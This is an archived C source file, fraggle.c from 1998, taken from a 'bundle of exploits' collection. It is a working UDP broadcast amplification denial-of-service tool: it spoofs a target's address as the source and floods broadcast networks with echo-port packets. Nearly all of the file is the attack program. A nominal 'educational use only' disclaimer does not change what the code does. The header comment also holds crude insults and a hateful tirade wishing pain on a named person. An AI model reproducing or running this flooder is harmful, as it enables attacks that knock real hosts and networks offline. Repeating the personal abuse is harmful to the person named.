home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / fraggle.c < prev    next >
Text File  |  1998-07-17  |  8KB  |  268 lines

  1. /*
  2.  *  fraggle.c by TFreak
  3.  *
  4.  *  This is basically smurf.c with a udp twist.  There are _many_ interesting
  5.  *  things you can do with this program, I suggest you experiment with it.
  6.  *
  7.  *  Cloud 9: 
  8.  *    > head -19 smurf4.c | tail -10
  9.  *    > Tool for providing the world with quality insight and music
  10.  *    > #conflict for being the best 13 year old wanna be clueful but
  11.  *      i still run win95 on my daddy's computer so i'll flood some
  12.  *      efnet servers to make up for my small penis size and lack of
  13.  *      sex packet kiddies the internet has ever seen!
  14.  *    > Dianora for not treating me like the above (whats it like to 
  15.  *      be on this side of the greets Di? 8))
  16.  *    > GS Admin Staff -- face it, we rock.  I have never worked with a
  17.  *      more competant bunch of individuals.  You are all great people
  18.  *      as well as great personal friends, thank you for the opportunity
  19.  *      to live, work and grow with you.
  20.  *    > My kitty for falling asleep in my lap.  Aww, look at the pretty
  21.  *      kitty-witty!
  22.  *    > Everyone whom I've ever loved, will love, and will love again.
  23.  *
  24.  *  Circle 9:
  25.  *    < myname (sed 's/author/myname/g' exploit.c > myname.c)
  26.  *    < #conflict (see above) 
  27.  *    < Myself (I should have learned the first time)
  28.  *    .. and of course ..
  29.  *    < Bill Robbins for being the most arrogant, incompetent and
  30.  *      ignorant fool I have ever had the displeasure of crossing
  31.  *      paths with.  You will never be anything more than a waste
  32.  *      of flesh and a disgrace to everyone.  I spit on your dilapidated
  33.  *      and pathetic existance.  It is my sincere wish that you live
  34.  *      a life of pain, and die a worthless and senile old man, 
  35.  *      remembered only by the hatred in which you were bred upon.
  36.  *    
  37.  *  Disclaimer:
  38.  *     I cannot and will not be held responsible nor legally bound for the
  39.  *     malicious activities of individuals who come into possession of this
  40.  *     program and I refuse to provide help or support of any kind and do NOT
  41.  *     condone or promote use of this program to deny service to anyone or any
  42.  *     machine.  This is for educational use only. Please don't abuse this.
  43.  *
  44.  *  "Love is much more evil than hate will ever be ..."
  45.  */
  46.  
  47. #include <arpa/inet.h>
  48. #include <ctype.h>
  49. #include <netdb.h>
  50. #include <netinet/in.h>
  51. #include <netinet/ip.h>
  52. #include <netinet/ip_udp.h>
  53. #include <stdio.h>
  54. #include <stdlib.h>
  55. #include <string.h>
  56. #include <signal.h>
  57. #include <sys/socket.h>
  58. #include <sys/types.h>
  59. #include <time.h>
  60. #include <unistd.h>
  61.  
  62. struct pktinfo
  63. {
  64.     int ps;
  65.     int src;
  66.     int dst;
  67. };
  68.  
  69. void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *);
  70. void sigint (int);
  71. unsigned short checksum (u_short *, int);  
  72.  
  73. int main (int argc, char *argv[])
  74. {
  75.     struct sockaddr_in sin;
  76.     struct hostent *he;
  77.     struct pktinfo p;
  78.     int s, num, delay, n, cycle;
  79.     char **bcast = malloc(1024), buf[32];
  80.     FILE *bfile;
  81.  
  82.     /* banner */
  83.     fprintf(stderr, "\nfraggle.c by TFreak\n\n");
  84.  
  85.     /* capture ctrl-c */
  86.     signal(SIGINT, sigint);
  87.  
  88.     /* check for enough cmdline args */
  89.     if (argc < 5)
  90.     {
  91.         fprintf(stderr, "usage: %s <target> <bcast file> <num packets> "
  92.                         "<packet delay> [dstport] [srcport] [psize] \n\n"
  93.                         "target\t\t= address to hit\n"
  94.                         "bcast file\t= file containing broadcast addrs\n"
  95.                         "num packets\t= send n packets (n = 0 is constant)\n"
  96.                         "packet delay\t= usleep() between packets (in ms)\n"
  97.                         "dstport\t\t= port to hit (default 7)\n"
  98.                         "srcport\t\t= source port (0 for random)\n"
  99.                         "ps\t\t= packet size\n\n",
  100.                         argv[0]);
  101.         exit(-1);
  102.     }
  103.  
  104.     /* get port info */
  105.     if (argc >= 6)
  106.         p.dst = atoi(argv[5]);
  107.     else
  108.         p.dst = 7;
  109.     if (argc >= 7)
  110.         p.src = atoi(argv[6]);
  111.     else
  112.         p.src = 0;
  113.  
  114.     /* packet size redundant if not using echo port */
  115.     if (argc >= 8)
  116.         p.ps = atoi(argv[7]);
  117.     else
  118.         p.ps = 1;
  119.  
  120.     /* other variables */
  121.     num = atoi(argv[3]);
  122.     delay = atoi(argv[4]);
  123.  
  124.     /* resolve host */
  125.     if (isdigit(*argv[1]))
  126.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  127.     else
  128.     {
  129.         if ((he = gethostbyname(argv[1])) == NULL)
  130.         {
  131.             fprintf(stderr, "Can't resolve hostname!\n\n");
  132.             exit(-1);
  133.         }
  134.  
  135.         memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
  136.     }
  137.     sin.sin_family = AF_INET;
  138.     sin.sin_port = htons(0);
  139.  
  140.     /* open bcast file and build array */
  141.     if ((bfile = fopen(argv[2], "r")) == NULL)
  142.     {
  143.         perror("opening broadcast file");
  144.         exit(-1);
  145.     }
  146.     n = 0;
  147.     while (fgets(buf, sizeof buf, bfile) != NULL)
  148.     {
  149.         buf[strlen(buf) - 1] = 0;
  150.         if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) 
  151.             continue;
  152.         bcast[n] = malloc(strlen(buf) + 1);
  153.         strcpy(bcast[n], buf);
  154.         n++;
  155.     }
  156.     bcast[n] = '\0';
  157.     fclose(bfile);
  158.  
  159.     /* check for addresses */
  160.     if (!n)
  161.     {
  162.         fprintf(stderr, "Error:  No valid addresses in file!\n\n");
  163.         exit(-1);
  164.     }
  165.  
  166.     /* create our raw socket */
  167.     if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0)
  168.     {
  169.         perror("creating raw socket");
  170.         exit(-1);
  171.     }
  172.  
  173.     printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  174.  
  175.     for (n = 0, cycle = 0; n < num || !num; n++)
  176.     {
  177.         if (!(n % 25))
  178.         {
  179.             printf(".");
  180.             fflush(stdout);
  181.         }
  182.  
  183.         srand(time(NULL) * rand() * getpid());
  184.  
  185.         fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
  186.         if (bcast[++cycle] == NULL) 
  187.             cycle = 0;
  188.         usleep(delay);
  189.     }
  190.  
  191.     sigint(0);
  192. }
  193.  
  194. void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p)
  195. {
  196.     struct iphdr *ip;
  197.     struct udphdr *udp;
  198.     char *packet;
  199.     int r;
  200.  
  201.     packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  202.     ip = (struct iphdr *)packet;
  203.     udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  204.  
  205.     memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  206.  
  207.     /* ip header */
  208.     ip->protocol = IPPROTO_UDP;
  209.     ip->saddr = sin->sin_addr.s_addr;
  210.     ip->daddr = dest;
  211.     ip->version = 4;
  212.     ip->ttl = 255;
  213.     ip->tos = 0;
  214.     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
  215.     ip->ihl = 5;
  216.     ip->frag_off = 0;
  217.     ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
  218.  
  219.     /* udp header */
  220.     udp->len = htons(sizeof(struct udphdr) + p->ps);
  221.     udp->dest = htons(p->dst);
  222.     if (!p->src)
  223.         udp->source = htons(rand());
  224.     else
  225.         udp->source = htons(p->src);
  226.  
  227.     /* send it on its way */
  228.     r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps,
  229.                0, (struct sockaddr *) sin, sizeof(struct sockaddr_in));
  230.     if (r == -1)
  231.     {
  232.         perror("\nSending packet");
  233.         exit(-1);
  234.     }
  235.  
  236.     free(packet);        /* free willy 2! */
  237. }
  238.  
  239. unsigned short checksum (u_short *addr, int len)
  240. {
  241.     register int nleft = len;
  242.     register u_short *w = addr;
  243.     register int sum = 0;
  244.     u_short answer = 0;
  245.  
  246.     while (nleft > 1)
  247.     {
  248.         sum += *w++;
  249.         nleft--;
  250.     }
  251.  
  252.     if (nleft == 1)
  253.     {
  254.         *(u_char *) (&answer) = *(u_char *) w;
  255.         sum += answer;
  256.     }
  257.  
  258.     sum = (sum >> 17) + (sum & 0xffff);
  259.     sum += (sum >> 17);
  260.     answer = -sum;
  261.     return (answer);
  262. }
  263.  
  264. void sigint (int ignoremewhore)
  265. {
  266.     fprintf(stderr, "\nDone!\n\n");
  267.     exit(0);
  268. }